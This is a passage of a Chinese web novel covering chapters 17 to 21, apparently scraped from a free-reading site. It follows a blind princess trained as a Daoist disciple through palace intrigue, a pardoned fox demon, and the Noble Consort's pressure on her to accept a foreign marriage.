楚行昀轻咳两声,感觉脸颊上的热意散去了些,才慢慢道:“我觉得有两处可查下去的方向,一是之前在赏花宴上知道了蒋家和裴家的关系匪浅,我想从打探一下裴家的消息。二是朱雀街的那位李管事,那日意外看到了蒋青云去找他,我想着李管事和蒋青云应有什么不可告人的秘密。” 提到朱雀街的李筑,昭意拍了拍脑袋,“坏了。” “怎么了?” 昭意干笑一声,“我去找他打探消息时,正好撞见他打包了东西要跑,现在恐怕人都不知道跑哪去了。” 楚行昀思索了一番,“那便罢了,李管事住在宫外,来去也不容易,不如先从裴家入手。” 昭意点了点头,想到那日去李家的场景,又道:“李管事也不一定就跑了,现在朱雀街的事解决了,他应该是没了要跑的理由。不过他那边可以先放一放,不管怎么跑,总是有能找到人的法子。” 楚行昀目光落在了她的锁魂玉上,眉头一拧,“你该不是想用锁魂玉里的灵力吧?” 昭意轻咳一声,“至于裴家那边,我先约裴家小姐出来看看。” 楚行昀幽幽地看着她,“怎么约?” 如今她还被监视在这宫殿里呢。 昭意微微歪了歪脑袋,笑道:“贵妃娘娘无非就要想要一个听话的傀儡罢了,答应她便是。” 楚行昀一愣,随后垂下眼眸,淡声道:“你不必为我做到如此地步的。” 昭意低头一笑,“不过是敷衍贵妃娘娘罢了,最终如何做,还得取决于我。” * 林贵妃抬眸,直视着眼前的人。 昭意朝林贵妃一拜,“当日是昭意鲁莽了,后来静下心来一想,母妃不过是为昭意好,今日特来请罪,还请母妃责罚。” 林贵妃盯着昭意,礼仪姿势标准,脸上也看不出别的情绪,不像是作假,可她又觉得有些不对。 身后的宫女轻咳了一声,她才想起来让昭意起身。 “记住你刚才的话。” 于是暂居别院的四公主在梧桐宫被修缮好的那天就回宫了。 而这位四公主回梧桐宫几日后,就给太尉府的裴清菱递了帖子。 楚行昀问:“这样会不会刻意了些?” 昭意坐在桌前,“怎么会?” 她不用回头,楚行昀就能从铜镜中看到她的笑。 “我回宫不久,那日在赏花宴上见到了蒋公子与裴小姐,裴小姐温柔善良,我想与她亲近,便写了帖子邀她来玩,有何不可?” 楚行昀沉默了一会儿,“多加小心,我会一直跟在你身后的。” 两人刚说完,采樱和择梨就推门而入了。 指挥着几个宫人抬了几箱东西进来。 “这是何物?” 采樱盈盈一笑,“这是二殿下吩咐人带来的,奴婢刚看过了,都是些金银首饰,一会儿挑些几样给裴小姐当作见面礼。” 采樱对昭意终于有与世家小姐结交的意图而感到高兴。 她挑了一支簪子和一对耳环,拿到 17. 第 17 章 《苍山有言》全本免费阅读 等裴清菱来时,梧桐宫中早已放置好凉椅屏风,摆上鲜果凉水。 裴清菱朝着座位上的昭意一拜:“见过四殿下。” 昭意朝她一笑,察觉到除了裴清菱,她身后还跟着一人,便问,“这位是?” 裴时寅年十四,生的白白净净的,有股子书生气息。 离府前,母亲就叮嘱过他这次进宫的事,于是他悄悄打量着昭意,见她皮肤白皙,嘴角带笑,虽然眼神空洞了些,但一双杏眼明净清澈。 裴时寅呼吸一窒,之前听闻过四公主的传闻后对她的不好印象此刻都通通扫净了。 裴清菱回头看了直勾勾盯着昭意看的弟弟一眼,瞪了他一眼。 虽然公主眼睛不方便,但这周围的宫人都是长了眼睛的,之后说不定会将弟弟这失礼的举动告之公主。 裴清菱心里一阵恼,但还是笑道:“这是家弟时寅。” 她对母亲让她带着弟弟一同进宫这事就有意见,公主邀她见面已经是给了很大的机会了,却偏要带上个男子,多少有些不知礼数了。 只是母亲做的决定,她也不得不听从。 好在公主不太在意。 昭意点了点头,手一摆,“入座吧。” 裴氏姐弟二人坐了下来。 昭意让采樱为两人添了茶水,便道:“先前赏花宴上与裴小姐有过一面之缘,觉得甚有缘分,便冒昧请你来了,不知可有唐突之处?” 裴清菱刚举起杯子,就听昭意这么一说,连忙将杯子放下,“能接到公主的帖子,是清菱的荣幸,公主唤我清菱便可。” 昭意一笑,“好,那清菱也唤我昭意就好。” 裴清菱眨着眼睛,“这怎么可以?实在有违礼数。” “这有什么?以后你可以多来梧桐宫走动走动,我一人在这宫里甚是无趣。” 说着,昭意让择梨拿了一个盒子过来。 择梨将盒子递给裴清菱,裴清菱茫然地将盒子打开,里面是包好的一支簪子和一对耳环。 昭意道:“我也没有什么能送你的,前几日兄长送了许多东西给我,我便从中挑了几样,清菱可不要嫌弃。” 一听是娄齐洲准备的,裴清菱眼睛一亮,盯着那簪子和耳环,觉得这盒子里的东西像是发了光一样好看。 她感激道:“怎会嫌弃?殿下能将这东西赐我,是我的荣幸。” 听着裴清菱稍稍加重的呼吸声,昭意笑了笑。 裴清菱道:“今日清菱也为殿下备了礼物,也望殿下不要嫌弃才好。” 裴府的丫鬟抬上来一礼盒,采樱看过后,道:“可是千丝寒的绸缎?” 见到有认识这绸缎的,裴清菱扬起了笑脸,“正是。” 昭意问:“这绸缎有何特别的?” 采樱道:“听闻这绸缎甚是稀有,千金难求,前段时间二殿下为公主寻了一批来,还在库里放着呢。” 昭意讶异,面向裴清菱,“怎么送这么贵重的东西?弄这么一批来可不容易吧?” 裴清菱低头笑了笑,骄傲道:“公主不必担心,这千丝寒绸缎在市上虽难求,但在我这里却不难。这千丝寒绸缎正是清菱外祖父家所产,向外祖父要一些还是可以的。” 昭意这才松了口气,“那便好,不然我都不知如何回礼了。” 两个姑娘一笑。 此时外面传来一阵急促的脚步声,裴清菱好奇地转过头去,下一刻就红了脸,微微垂下了眼,端正地坐着。 还没听到脚步声前,昭意就感受到了娄齐洲的气息。 只见娄齐洲脸色沉沉地走来,后面跟着凛风。 院内方才还其乐融融的,见到娄齐洲这样过来,纷纷打起了精神。 娄齐洲扫了一眼在座的几位,就冷冷盯着坐在一旁不出声的裴时寅。 裴时寅朝他拱手,娄齐洲目光却从他脸上扫过,一撩袍,坐在了昭意身边,将昭意遮得严严实实。 昭意偏头面向娄齐洲,“今日兄长怎么来了?” 娄齐洲脸上这才有了点笑意,他看向昭意,“听闻你今日邀了好友来,我正好路过来看看。” 旁边的裴清菱早就羞红了脸,抿着嘴不肯说话。 昭意笑笑,抿了口茶。 因为娄齐洲在,裴清菱和裴时寅两人都不说话了,昭意也不知道说什么,气氛一时间便冷了下来。 娄齐洲浑然不觉似的,一杯接着一杯喝着茶。 最后,还是裴氏姐弟说了声改日再来,收拾了东西后匆匆而走。 等两人走了,昭意才幽幽道:“兄长一来,都将我好友吓跑了。” 很少听闻昭意用这样语气对他说话,娄齐洲心里一乐,之前听到裴家带着外男来梧桐宫的怒气都散了些,“这还怪上我了?” 昭意轻哼一声。 娄齐洲看着昭意,轻声道:“兄长不是妨碍你与他人往来,只是有的人会抱着不好的心思接近你。” 昭意佯装不知,“这是何意?” 娄齐洲眼色一沉,十指紧扣,“你约裴家小姐来,那裴公子跟来做什么?裴家不像是如此不知礼数的,只能说其别有用心。” 昭意默然。 娄齐洲眼神一柔,轻声道:“没事,你只需做你想做的就好,这种复杂的事情交给兄长就好。” * 娄齐洲坐了一会儿也走了,天色渐晚,昭意回了房,就让宫人都退下了。 昭意坐到桌前,房里的灯一盏一盏地被点了起来。 “你觉得如何?” 楚行昀点完了灯,回头道:“没看出来什么。” 昭意思索一番,“不如多探几次蒋家,查一查也好。” 她提笔,立即写完一叠符纸,挪到楚行昀身前,“只是你自己小心,若是暴露,我在宫里可能无法及时救你。” 楚行昀垂眸看着身前的黄符,捏起其中一张,“每日写这么多符,可会对你有所损耗?” 昭意不甚在意,“我们修道之人平日里需要用灵力的地方多了去了,只要不透支,就没什么大碍。” 说着,她脸色突然一变。 楚行昀刚问:“怎么的了?” 就觉得一阵凉意飘过,一缕红从屋檐上缓缓落下,落到地上时就化为了一女子。 昭意抿了抿唇,“你来了。” 朝颜朝昭意一拜,“我心愿已了,任凭道长处置。” 殿内一片寂静,楚行昀看向昭意,见她面无表情地坐着,放在桌上的手握紧了又松开。 许久没有听到动静,朝颜微微抬了头,看向昭意。 昭意深吸一口气,“按照落鹫山处置妖怪的往例,你害了多条人命,如今我的师兄也仍昏睡不醒,我是应该要让你以命偿命的。” 朝颜苦笑一声,“我自知罪孽深重,此次前来已不报任何希望。” 昭意又道:“可是我又觉得,要你一命已经挽回不了死去的人了。而且你杀人是为了报仇,并非为自己的私欲,说起来也情有可原。” 朝颜垂下了头。 “不如这样,从今日起,你需在人间救十条人命,之后才可回妖界,你可愿意?” 朝颜一愣,僵硬地抬起脑袋。 昭意道:“你我契约还在,若你做不到,也是会遭到反噬地,你可愿?” 朝颜俯身下去,眼眶一红,“多谢道长网 18. 第 18 章 《苍山有言》全本免费阅读 听完楚行昀所说,朝颜细细回忆了一会儿,还是摇头。 “我在朱宅时,不曾听闻玉笙与小郎君说的人认识。” 楚行昀眼神一黯,“罢了。” 昭意听出他话里的失落,又问:“你可知你娘叫什么?” 楚行昀道:“小时候的事很多都不记得了,隐约记得有人叫她丽娘,至于姓什么,我当时年岁尚小,实在不知。” 信息模糊成这样,昭意蹙眉,一时间也想不出法子来。 朝颜抬头看了沉默的两人一眼,咬了咬唇,“若道长还信得过我,不如让我查一查。” 昭意面向她,“你有法子?” 朝颜点了点头,“虽然当年玉笙的许多东西已丢失,但当年我也尽量保存了一些下来,或许能找到小郎君需要的线索,只是需要小郎君的一根头发。” 楚行昀一愕,看向了昭意。 昭意微微惊讶,“听闻狐族有一脉名为齐灵,能使御气之术,凭气息寻人,但这一脉常年隐居,不常入世。” 朝颜苦笑着点头,“我与玉笙皆为齐灵狐妖,只是玉笙天性贪玩,御气之术学的不精,一心想练化形术。我的御气之术虽算不得上是精深,但这世上也很难有我寻不到的东西。当年我以御气之寻不到朱凯深时,我就知道他已经凶多吉少了。” 昭意沉默,让楚行昀拔了一根头发给朝颜。 朝颜朝两人一拜,“定不负道长所托。” 说罢,又化作了一缕红烟,消失在了空中。 待朝颜走后,昭意细想了一遍楚行昀刚才说的,“听你刚才所说,你小时候家里有护卫,看样子并非是普通人家。” 楚行昀摇摇头,“虽然是家里的护卫,但是从给对我有过好脸色。” 昭意杵着脑袋,点了点头。 “罢了,我俩在这空想也想不出什么。这几日宫里应该无事,你便去蒋家看看吧,我也去看看师兄。” “可要我陪你去?” 昭意轻笑一声,“你到底查不查蒋家了?” 楚行昀抿唇,“自然要查的!” 昭意从座位上起身,朝着床榻方向走去。 “查你的事就行,不用担心我,没遇到你之前,我也是靠自己的。” 楚行昀还想说话,但看她已经穿过了帘子,只能透过帘子看到模糊的身影,便只能作罢。 * 作为修道之人,身体恢复得自然比普通人更快一些。 昭意去看望予林时,予林就已经醒了,只不过身上的伤还未完全痊愈,现在还只能躺在床上。 昭意进去时,予林左右挣扎了一下就要起来,她连忙上前几步将人按住。 “师兄伤势未愈,还是不要逞强了。” 予林只能作罢,长长叹了口气。 “想不到身为师父的第一大弟子,竟然栽在了小小的朱宅里。” 昭意扑哧一笑,“那可不是什么小小的朱宅,里面的可是齐灵狐妖。” “齐灵狐妖?” 予林皱眉,脸色一变,“我只听他们说你出手解决了朱宅的事情,却不知道还有齐灵狐妖,你可受伤了?” 昭意道:“我也是今日才知道的。” 于是昭意将朱宅的事情,以及如何处置狐妖的事情都告诉了予林。 昭意小心问道:“师兄觉得,我这样处置可妥当?” 予林则深深看了她一眼,欣慰地笑了笑,“脱不脱当我说了可不算。” 昭意疑惑,“为何?那妖将师兄伤成这样,我却饶了那妖一命,师兄不觉得不妥吗?” 予林闻言,并未生气,继续道:“这天下处置妖的法子多了去了,有的人觉得妖天性嗜杀,只能诛杀殆尽才能平天下,有的人觉得妖同人一般有情感,可通过教化的方式感化他们。这天下并没有说明哪一种才是处置妖的正确方式,所以如何处置妖,还得看降妖的人怎么想。予青,这狐妖是你降住的,所以你怎么处置都是最妥当的。” 他一顿,笑了笑又道:“更何况,师兄我被狐妖所伤,是我技不如人,有什么好责怪你的?如今予青比师兄都厉害了。” 昭意一默,“其实,这妖也不算是我降住的。” 她将那夜从自己身体中出现男子的事情告诉了予林。 予林惊愕,连忙搭上她的手腕,闭眼沉思。 片刻后,他皱起了眉。 昭意问:“如何?” 予林抿唇,“探你体内气息,未有异样。” 予林是落鹫山上除了师父外懂的最多的人了,连他的不知道,或许这事真的有些难解。 昭意垂下了头。 予林思索片刻,扫了一眼屋内,窗外偶尔走过几个医官,跟着昭意来的宫女都站在门口,他才低声道:“我猜想,或许与你的魂魄有关。” 昭意一愣,惊愕得张了张嘴。 予林沉下声去,“不必为此忧心,待我回落鹫山,便问问师父。” 昭意垂眼,笑了笑,“多谢师兄。” 予林见她眉间有些阴郁,问道:“予青,若有什么心事,可以同师兄说说。” 昭意垂头,沉默了一会儿。 “师兄可还记得,以前师父与我们说过的‘道’。” 予林回想到了以往在落鹫山的时候,脸色一柔,“自然记得。” 以前静元真人曾与他们谈论过“道心”,她说有了道心,修道者才知道要怎么抉择。悟到属于自己的道时,就能超过大多数在世的修道者。 但当弟子们问起怎么才能悟到“道”时,静元真人却不回答,只说,“每个人的道都不一样,有的人见到山间明月就能参悟,有的人看尽人生百态就能参悟,也有的人,终其一生也寻找不到自己的道。” 昭意一叹,“当初师父说,此次在山下或许有我的机缘,我当时想着或许与这道有关,是不是经历了一些磨难,参悟了道心,就能修复我的魂魄。” 她无奈笑笑,“可是到了这宫里,我却觉得我与这里的人格格不入,虽然一些虚与委蛇我也应付得来,但甚是心累,我倒有些怀念在山上的日子了。” 她轻声道:“这些日子,我是越来越不知道何为自己的道了。贵妃娘娘说让我安分做好公主,为我择一门亲事,以后就嫁过去。可我却不想这样,若是可以,我想像师兄那样,去驱邪除妖,为民除害。但是我的这些想法,在这深宫里似乎成了忤逆之举。我觉得我到了师父说的抉择的时候了,可我却不知道怎么去选择。” 予林眼神一黯,看着昭意。 两人从小长大,她眼睛虽然看不见,但一直很努力,从练习一开始的听声辩位,到后来的炽阳心法,又 19. 第 19 章 《苍山有言》全本免费阅读 几日后,宫里就热闹起来了,因为齐鸣国使者将到,京城内外已经戒严,迎接使者的各项事宜已然在准备中了。 那日同其他皇子公主一同站在城墙上,看着齐鸣国使者来时,有年岁小的要嬷嬷抱起来,好奇的看着车队,也有盯着车队,却沉默不语的。 齐鸣国位处北方,盛产矿石宝玉,这也是祝郦国与之联姻的目的之一。此次前来联姻,使者更是带了大批宝石珠玉,一将礼品抬上殿来,便引起众人一阵惊呼。 昭意是看不到宝玉长什么样的,但隐约能感受到玉石上的气息,确实大部分都是良品。 使者大声宣扬了来意,要迎娶一位祝郦国公主,国君应允,接着便开了宴会,一片喜气。 如今昭意对这种场合已然适应,左右与自己无关,便坐在角落里,等着宴会散了便离去。 宴席散后,昭意难得自由一些。 因为齐铭国使者将到,这段时间贵妃派人盯她盯得紧,几乎只能在梧桐宫。若她提要外出走走,就会被一堆理由劝说,看来贵妃真想将她养成在深宫中大门不出的公主。 如今散了宴席,正好可以借机走走。 昭意就在花园里转悠,采樱和择梨在身后寸步不离,跟得十分紧。 宴席散后,后花园里几位公子小姐相聚着一起走着,若是遇到了又不得不停下来客套两句。 昭意便往花园深处走去了,只是周围才静下来一会儿,前方隐约传来说话声,接着听前方的人哎呀一声,接着就是跌倒的声音。 采樱和择梨面面相觑。 昭意招呼两个宫女,“去看看。” 两个宫女往前面一探,前面摔倒的,原来是三公主娄嘉桢。 因前几日也是在花园里遇到过她,昭意对她印象还算深。 记得采樱说过,此次齐鸣国使者前来要迎娶的就是这位三公主。 昭意关切问道:“三姐姐这是怎么了?” 娄嘉桢身边只带了一个宫女,她转过头时,眼里还有泪水,见到几人来,连忙擦了擦眼睛,人却坐在地上,半天起不来。 昭意连忙让采樱和择梨一同去扶娄嘉桢,几人合力才将人扶到附近的凉亭中坐着。 昭意问:“三姐姐可还能走?” 娄嘉桢惨白着脸摇摇头。 此处太过偏僻,少有人来,她身边的小宫女很是着急,“这可怎么是好?” 昭意想了想,“择梨,你在此处陪着三姐姐,我与采樱去请人来。” 好在宴会刚散,这会儿后花园人多,走了不远就见到一群人,走来的是以娄齐洲为首的几位公子。 娄齐洲远远地就看到昭意了,见她脚下匆忙,便与同行人说了一声,走到昭意旁边。 “妹妹,什么事匆匆忙忙的?” 因为这宫中的人心思难以揣摩,为了避免节外生枝,昭意本来打算直接去太医院请人来,但在听到娄齐洲声音时,她就改了主意。 昭意将娄嘉桢的事与他说了,娄齐洲听完后,就对跟着昭意的采樱道:“你先去太医院请人,三妹妹这边有我。” 正说着,原本跟着娄齐洲一众公子也跟了上来,刚好听到娄齐洲的话,连忙上来殷勤道:“哪还需麻烦姑娘,我跑一趟就好。” 说完,也不等娄齐洲再说,几个公子就朝太医院去了。 昭意与娄齐洲又回了花园,找到了伤了脚的娄嘉桢。 娄嘉桢到来人是娄齐洲,她抿了抿唇,垂下了头。 娄齐洲先是扫了一眼娄嘉桢,又看了一眼周围,“已有人去唤太医了,三妹妹不必惊慌。” 娄嘉桢抓紧了旁边小宫女的手,点了点头。 几人在凉亭中等了一会儿,就见几个公子几乎是驾着太医飞奔而至。 那太医一把年纪,已许久没走这么快过,怎奈旁边几个人驾着他就走,感觉脚还未落地就已经被架出好几步了。 等他到凉亭时,头上帽子歪了,衣裳也凌了。 只是气都还没喘匀,就朝着娄齐洲一拜,“见过二殿下。” 随后太医看了娄嘉桢的伤势,皱了皱眉,让人抬来了担架,简单处理了伤势后,让人将三公主抬回了宫殿。 娄齐洲问:“三妹妹的伤势可还好?” 太医累得老眼昏花,闻言连忙摆手,“不过是扭伤,并不碍事。” 娄齐洲朝老太医拱手,“多谢太医。” 于是一群公子哥又将还没休息够的老太医轰轰烈烈地架走了。 忙完这一切,娄齐洲转身看向昭意,这几日为了准备齐铭国的事,他也没少忙,已经许久没与昭意两人一同相处了。 正好天色渐黑,娄齐洲便陪同昭意一起回了梧桐宫。 * 因娄嘉桢伤了脚,太医说了要静养,于是她便足不出户,好好在宫殿里养伤。 这事似乎不过是投入水池中的一枚石子,稍微泛起了波澜,却也没有掀起什么水花。 楚行昀早出晚归,有时候甚至在外待一整天,昭意也没想着管他,由着他去查那些事情。 虽然昭意见不到楚行昀,但却见到了朝颜。 朝颜带来了一只梨花簪和一封信。 朝颜说,信是丽娘写给玉笙的,说的不过是闺中琐事,落款是一个棠字,而那簪子看似普通,上面却有御赐的印记。 昭意闻言,倒是一喜,“听闻御赐之物皆有记载,有这簪子在,就有能查的方向。” 话音刚落,就听窗户被人轻轻打开,昭意笑了笑,“真巧,该来的人都来了。” 楚行昀一双漆黑的眼眸下横着一道黑眼圈,他听着昭意的话,看向了朝颜,在看到朝颜手中地信和簪子时候,整个人一僵,死死盯着朝颜手里的东西。 或是楚行昀眼神太过炽热,朝颜便把手里的东西给了楚行昀。 楚行昀接过后,小心翼翼地将东西放在手中,垂眼看着簪子与信。 朝颜见他这副样子,便道:“你娘与玉笙,或许很久之前就是好友。只是可惜,当年朱家的人烧掉了玉笙太多东西,我也只找到了这两件。” 楚行昀那边静悄悄地,或是在想着什么,昭意便先道:“无碍,多谢你,能寻来这两样东西,已是帮了大忙了。” 朝颜摇摇头,“都是应该的。” 20. 第 20 章 《苍山有言》全本免费阅读 时间渐渐过去,宫里出了件大事。 三公主娄嘉桢昏迷不醒了。 娄嘉桢闭门不出已经好几天,她闺中好友前去探望时,便发现娄嘉桢已经腿脚不能动弹地躺在床上好几日了。 陛下大怒,狠狠处理了三公主宫中的人,又打听到那日后花园的事情,将相关的人通通叫了来。 那日的太医被吓得腿软,在众人面前颤颤巍巍道:“那日老臣诊断,确实只是普通扭伤,只需静养便好。如今怎么变成这样的......老臣实在不知情......” 陛下一拍桌,那太医“噗通”一声就跪了下去。 殿内众人大气不敢出。 娄齐洲扫了眼陛下阴沉的脸色,想着这位太医恐怕不能善终了,便上前一步。 “父皇,那日儿臣也在场,从三妹妹当时的伤势来看,确实只是普通的扭伤。” 陛下冷哼一声,“那如今是怎么回事?普通扭伤能将人伤成这样?” 殿里的人答不出来,一时间静了下来,只能听到抽泣声。 哭的人是娄嘉桢的生母芸妃,她用帕子擦了擦脸,红肿着眼。 皇后看了旁边的嬷嬷一眼,嬷嬷便上前去安抚芸妃,哭泣声这才小了下去。 不一会儿,另一个太医匆匆来了,正要跪下,就听国君道:“不必了,诊出什么没有?” 太医弯着腰,声音沙哑道:“回陛下,老臣无能......老臣并未诊出任何异常啊!” 说完,这太医也“噗通”一声跪下了。 国君一拍桌,“既无异常,又怎么昏迷不醒!” 两个太医跪在地上,不敢发一言。 芸妃才止住了泪,听太医这么一说,又哭了出来,任凭怎么劝慰也不管用。 此时,有个太监从殿外跑来,“陛下,齐铭国使者听闻了三公主的事,正要见您呢!” 国君闭上眼,揉了揉眉心。 里面是找不出缘由的怪病,外面是齐铭国使者带来的压力,国君心里一阵恼怒,此时芸妃哭哭啼啼的声音更是放大了国君心中的无限焦躁。 “够了!” 国君直接将台上的笔砚摔到了地上,众人纷纷下跪,就连哭得不能自已的芸妃也止住了声音。 一片静寂后,国君对太监道:“让使者稍安勿躁,嘉桢不过是伤寒,休息几日就好。” 国君如此发话了,太监不敢犹豫,一弯腰,赶紧出去回应使者去了。 而后,国君面色沉沉盯着下面两位太医,“三天内定要治好嘉桢的病,若治不好,提头来见。” 下面两位太医浑身一抖,连忙应允。 众人散后,两位太医抬起头来,满脸沧桑。 然而天不如人愿,尽管整个太医院的人都快要住到三公主宫殿里去了,三公主却一点好转的迹象都没有,整个人躺在床上,无知无觉。 其中一个太医顶不住这压力,留了遗书请求陛下放家人一命,就上吊了。 好在发现得即使,将人救了下来。 随着时间的流逝,整个皇宫都焦躁不安了起来。 “这么多药服下去一点都没好转?” 皇后闻言,只觉得太阳穴突突直跳,她按了按太阳穴,“我们的人去看了吗?怎么说?” 下头一位宫女道:“去看过了,也是看不出来是什么病症。” 皇后直接摔碎了杯子,“荒谬!天下怎么有这等奇症!” 娄婉倾坐在下方一言不发。 半晌,皇后冷笑一声,“实在看不出来,这个芸妃平日里唯唯诺诺的,这次竟闷声做了件大事。什么时候不病,偏偏要这个时候病!” 看这样子,那娄嘉桢怕是好不起来了,至少在齐铭国使者离开之前是好不起来了! 如此一来,这和亲的事情,岂不是要落在她的婉倾身上? 一想到这,皇后就拽紧了拳头。 她的婉倾绝对不能嫁到异国去。 只有婉倾在祝郦国嫁了个有权势的世家,来日娄齐鸿才有机会争一争那个位置。 皇后眼里闪过狠色,抬头正好看到下面打着瞌睡的男子,顿时气不打一处来,直接砸了一杯子过去,“都什么时候了,你还有心思去逛花院?要不是本宫让人架着你来,你现在还在哪个院里躺着!” 那男子一惊,连忙熟练地跪下请罪。 皇后揉了揉额角,“今日回去,就将你后院那群人全都散了,日后好好习书,听见没有!” 那男子闻言,诧异地抬头,求饶道:“母妃,这事怎么扯到我身上来了?这与孩儿和孩儿后院的人无关啊!” 娄婉倾静坐着,垂眸遮住眼底的一片厌恶之色。 “还敢顶嘴!” 皇后一拍桌子,美目瞪圆,“若不是你不争气,本宫何苦时时刻刻都被那个贱人踩在脚下?你才是大皇子,你才是皇室的嫡长子!你可听外面都在说什么?” 皇后走了下来,一把抓起他的衣领,“他们在说娄齐洲才是天命之人!他才是众望所归的那个人!” 大皇子娄齐鸿被这么一扯,知道皇后在气头上,也不敢吭声了,只嚅嗫着说知道了。 皇后松了手,深吸几口气,平静道,“派人盯紧芸妃那边,特别要关注娄嘉桢的伤。” 相比于皇后宫里,梧桐宫倒没那么紧张。 昭意想着不管这事怎么变,也变不到她头上来。 只要齐铭国的使者稍微一打听就能知道,梧桐宫的四公主是个瞎子,还是不受贵妃娘娘喜爱的瞎子,怎么看这太子妃人选也不会落到她头上来。 三天过去,三公主的病情依然没有任何好转,气得国君摔了好几套茶具。 先前国君还能称病不见人,只是齐铭国的使者天天派人来堵门,说什么也要见到国君,国君只能开门见客。 使者开门见山道:“几日不见,陛下圣体可安康?” 面色红润的国君轻咳一声,“养了几日,感觉甚好。使者有什么事吗?” 使者问:“先前听闻三公主只是伤寒,然而几日过却迟迟见不到三公主,我们很是担忧。毕竟是为我国太子选妃,需要慎之又慎,还请陛下准许让我们见一见公主。” 国君长叹一声,“使者放心,小女真的只是染了伤寒,不过她从小体弱,还得再修养些日子才能见人,还请使者多等几日。” 使者为了见国君已经等了许多天,如今宫中流言甚嚣尘上,一听还要再等,使者立马就不依了。 使者道:“陛下,我们随行中也有医术精湛的医官,可否让医官为公主诊一诊?” 国君为难,还在想推辞,却听使者又道:“陛下如此犹豫,难道其实并无诚意与我国联姻?” 此言一出,问题可就严重了,不管怎样,这门涉及两国的婚事不得有任何闪失,国君只好将事情的原委都告之使者。 国君叹息,“实在不是有意对使者们有所隐瞒,只是此病是在古怪,太医们也束手无策。” 使者不信,让随行的医官去看了娄嘉桢,结果还是同之前的太医诊断的一样。 听闻如此,使者面色沉沉,“我们不日就要带太子妃返回齐铭国,陛下又打算如何解决此事呢?” 使者盯着国君,目光如炬。 国君只好道:“若嘉桢真不能好起来,孤定为使者另择一位公主前往齐铭国联姻,不会误了两国大事。” 又吩咐人将后宫几位公 21. 第 21 章 《苍山有言》全本免费阅读 娄齐洲听到消息,连忙赶来,正好听到最后几句话。 他进来便站到昭意身前,将人挡住,看向上方。 林贵妃给他使了个眼神,微微摇了摇头。 娄齐洲却视若未见,目光直直地看向台上的国君。 国家面色沉沉地看着他不语。 贵妃瞥了一眼国君的神色,抿了抿唇,从座位上站起身来,走到娄齐洲身边,轻扯他衣袖,“洲儿,这事你别管。” 娄齐洲却不动声色地将衣袖从她手间抽离,朗声道:“请父皇三思!” 不顾贵妃眼里的警告,他朝国君一磕,“父皇,昭意十年未归,还未在宫里过上几天好日子,这就要将她远嫁出去,未免太让人心寒。” “洲儿!” 这是娄齐洲第一次公然忤逆贵妃,全然将贵妃不放在眼里,她气得发抖。 娄齐洲依旧坚定地跪在地上。 贵妃只能深吸一口气,不安地看向了国君。 只见国君眼色沉沉,似笑非笑,她便知国君这快要发怒了。 殿中众人低声议论着,看着贵妃受挫,娄齐洲讨国君不喜,其中最快活的便是皇后了。 万万没想到,没想到一石二鸟,还能将娄齐洲扯进去。 “好了。” 国君拍了拍桌,众人安静下来。 他看向娄齐洲,笑了笑,眼里并无笑意,“多大的事,就要这般失态,叫人看笑话。” 娄齐洲紧抿双唇,目光却坚定。 国君又看向齐铭国使者,“让使者见笑了,朕这小四刚回宫,她兄长十分不舍,不如再宽限几日,朕定给使者一个答复。” 使者未语,目光在娄齐洲与国君之间扫视了一眼,冷哼一声道:“那我等便静候佳音,相信陛下定能给出一个双方都满意的答复。” 说罢,使者一行人离开了,殿里的人面面相觑,不敢言语。 国君揉了揉太阳穴,半晌才睁眼,看着娄齐洲道:“你留下,其余人等先退下吧。” 皇后带着娄婉倾从贵妃身旁走过,幸灾乐祸地轻笑一声。 众嫔妃从昭意旁边路过,或怜悯,或嘲讽的目光从她身上扫过。 采樱与择梨相视一眼,头次庆幸昭意看不见这些眼神。 林贵妃慢慢走过,到她面前时,停了下来,垂眸看了她一会儿,握了握拳,未发一言便走了。 然而在昭意走出大殿时,跑来个小宫女,对昭意道:“请殿下移步,娘娘要见你。” 昭意心里道了一句果然,略一思索,还是跟着小宫女走了。 贵妃娘娘乘着步辇,早昭意一步回到了宫殿里。 等昭意步行到殿里,贵妃已经褪去了外衫正闭目养神,一个宫女站在她身后揉着她的太阳穴。 见到昭意进来,贵妃挥了挥手,身边的宫女便退了下去。 贵妃睁眼,漠然地看着昭意,“今日宴后,你就去与陛下和洲儿说,你自愿嫁去齐鸣国。” 昭意冷笑一声,心中道了一声果然,她直接道:“不可能。” 贵妃狠狠盯着她,将桌上的茶杯摔到地上,“今日本宫就好好管教管教你这个逆女!” 说罢,立即喊人进来拿了竹条要抽昭意手心。 一个稍微年长的管事姑姑见了,连忙劝,“娘娘,使不得啊,把人打坏了就无法向陛下交代了!” 一旁的昭意却轻笑一声,“几年来对我不管不问,现在才想起来管了,娘娘不觉得晚了些?” 原本贵妃听了管事姑姑的话后有几分犹豫,现在听她这么一说,怒火上了心头。 “给本宫打!” 说罢,细长的竹条就往昭意抽来。 昭意听见风声,后退一步侧身,正好躲开了竹条。 贵妃瞪大了眼,“你......” 就见昭意手中一转,宫人手里的竹条就凭空飞了出去,落到昭意手里。 贵妃见状,冷笑两声,“这就忍不住了?之前在本宫面前信誓旦旦地说要好好学规矩的话都忘到九霄云外去了?” 昭意手握着竹条,冷声道:“若不是娘娘步步紧逼,我也不会做到这一步。” 说罢,周身掀起冷风,令殿中之人颤抖起来。 贵妃却不慌不忙,嘴角挑起一抹嘲笑,“你还真当我们拿你无可奈何了?” 说罢,她抬了抬手。 身后一个宫人低着头,递了一个木盒过来。 昭意抿了抿唇,无奈扯了风阵。 贵妃将木盒打开,里面是一串手串。 她看着昭意渐渐惨白的脸,慢慢将手串取出,“听闻落鹫山的人对静元真人很是敬重,看来不假。” 昭意咬牙,“师父的手串为何在你这里?” “为何?” 贵妃轻笑一声,“自然是为了防你这样乱用法力的,落鹫山的规矩,你也忘到九霄云外了?” 落鹫山弟子都不得将所学法力用在降妖除魔之外的事情上,更不能在没有生命威胁的情况下对普通人使用法力。 贵妃躺回了椅子上,扬声道:“给本宫打。” 话音落下,细长的竹条就抽在昭意手心,昭意皱紧了眉,死死咬着牙不啃声。 见昭意一脸倔强不服的样子,贵妃心里气不但没消,反而怒气更重了些。 “本宫承认,你在落鹫山养了几年是有些本事。但你别忘了,你身上流着本宫的血,你日后如何,还是本宫说了算。” 眼看竹条都染上了血色,昭意也只是闷哼几声,豆大的汗水从额头流下。 管事姑姑眼看一双好好的手掌快被抽烂了,连忙又劝贵妃,“娘娘,这伤势过重怕是不好。” 贵妃看着昭意脸色苍白,似乎虽是都要晕过去,才慢慢道:“把她带回去,本宫不想见到她。梧桐宫不许有人进出,什么时候想清楚了,什么时候放她出来。” * 大殿内,众人散去,只留位处高位的父亲和跪在地上的儿子。 